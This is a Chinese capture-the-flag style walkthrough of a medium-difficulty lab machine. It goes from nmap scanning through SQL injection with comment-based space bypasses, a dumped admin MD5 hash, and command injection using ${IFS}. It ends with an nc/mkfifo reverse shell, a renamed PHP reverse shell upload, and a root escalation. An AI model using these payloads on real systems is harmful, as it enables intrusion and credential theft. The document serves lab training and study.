主机发现

sudo nmap -sn 192.168.162.0/24

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.162.143 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 21:51 CST
Nmap scan report for 192.168.162.143
Host is up (0.00060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:39:48:43 (VMware)
sudo nmap -sT -sV -sC -O -p22,80 192.168.162.143       
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 21:52 CST
Nmap scan report for 192.168.162.143
Host is up (0.00042s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6b:a8:24:d6:09:2f:c9:9a:8e:ab:bc:6e:7d:4e:b9:ad (RSA)
| 256 ab:e8:4f:53:38:06:2c:6a:f3:92:e3:97:4a:0e:3e:d1 (ECDSA)
|_ 256 32:76:90:b8:7d:fc:a4:32:63:10:cd:67:61:49:d6:c4 (ED25519)
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:39:48:43 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.31 seconds

Web

只有一个80端口,进来是一个登录界面。没什么凭据用于登录但是会显示账户是否存在感觉可以爆破用户名和密码?有点抽象,可以注册一个号进去看看先。

好像是可以搜索书目,输入“A”发现是能够查询出来一些书的,用sqlmap测试一下注入

用burp抓下POST请求后

sqlmap -r post.txt

跑不出来,那就手动测试一下

发现输入部分名称就可以显示完整的书名,如果空搜索会显示所有书

也就是说数据库的查询语句大概是:

SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';

%是通配符,类似于linux中的*吧

当我尝试时候以下payload发现没有显示,也许有过滤?

Linux%'order by 1#

换成

Linux%'order/**/by/**/1#

发现又有回显了

试到4列的时候没有回显,说明一共有三列。那就可以开始常规的注入流程了

Linux%'union/**/select/**/1,database(),3#

库名:webapphacking

Linux%'union/**/select/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema/**/='webapphacking'#

表名有users和books,我们对users比较感兴趣,所以查询users

Linux%'union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/=/**/database()/**/and/**/table_name/**/='users'#

有这些字段:id,user,pasword(不是password),name,address

Linux%'union/**/select/**/group_concat(user,0x3a,pasword),2,3/**/from/**/users#

发现

superadmin:2386acb2cf356944177746fc92523983

鉴定为md5,跑网站得到密码:Uncrackable

切换成super账号

Getshell

发现是能上传图片还有查询账户

一开始想着上传图片马,但是并不会被解析的样子

但是在测试下面查询的时候发现lastname是可以命令执行的!

FN随便输,LN输入system(whoami)可以执行,但是发现过滤了空格。于是CTF中非常熟悉的命令执行的空格绕过可以用${IFS}

system(‘cat${IFS}/etc/passwd’)

原本用这个payload已经成功反弹shell了,但是在shell里面不能交互不知道是啥原因,也许是环境不太好。

system('rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|/bin/bash${IFS}-i${IFS}2>&1|nc${IFS}192.168.162.128${IFS}1234${IFS}>/tmp/f')

于是打算上传一个php反弹shell以图片的格式,然后再命令执行改后缀来执行

system('ls${IFS}./uploads') 

发现uploads目录下还有一个year2020目录

system('ls${IFS}./uploads/year2020') 

发现我们的马确实是上传上去了只不过还是图片格式无法解析

system('mv${IFS}./uploads/year2020/reverseshell.jpg${IFS}./uploads/year2020/reverseshell.php') 

更改后缀,开启监听,在浏览器中访问触发shell

python3 -c "import pty;pty.spawn('/bin/bash')"

export TERM=xterm-color

升级shell,这下交互性是没问题了

提权

不知道为什么家目录中还有一个legacy,但是实际上并没有这个用户。进去发现有一个可执行文件。执行发现直接root了?????

碎碎念

虽然是中等难度的靶机啊,但其实打起来还是卡了不少地方的,尤其是Web那边。无论是sql注入还是到后面命令执行+文件上传还是有点坑的。提权实在是有点水23333感觉可以改成ctf的web题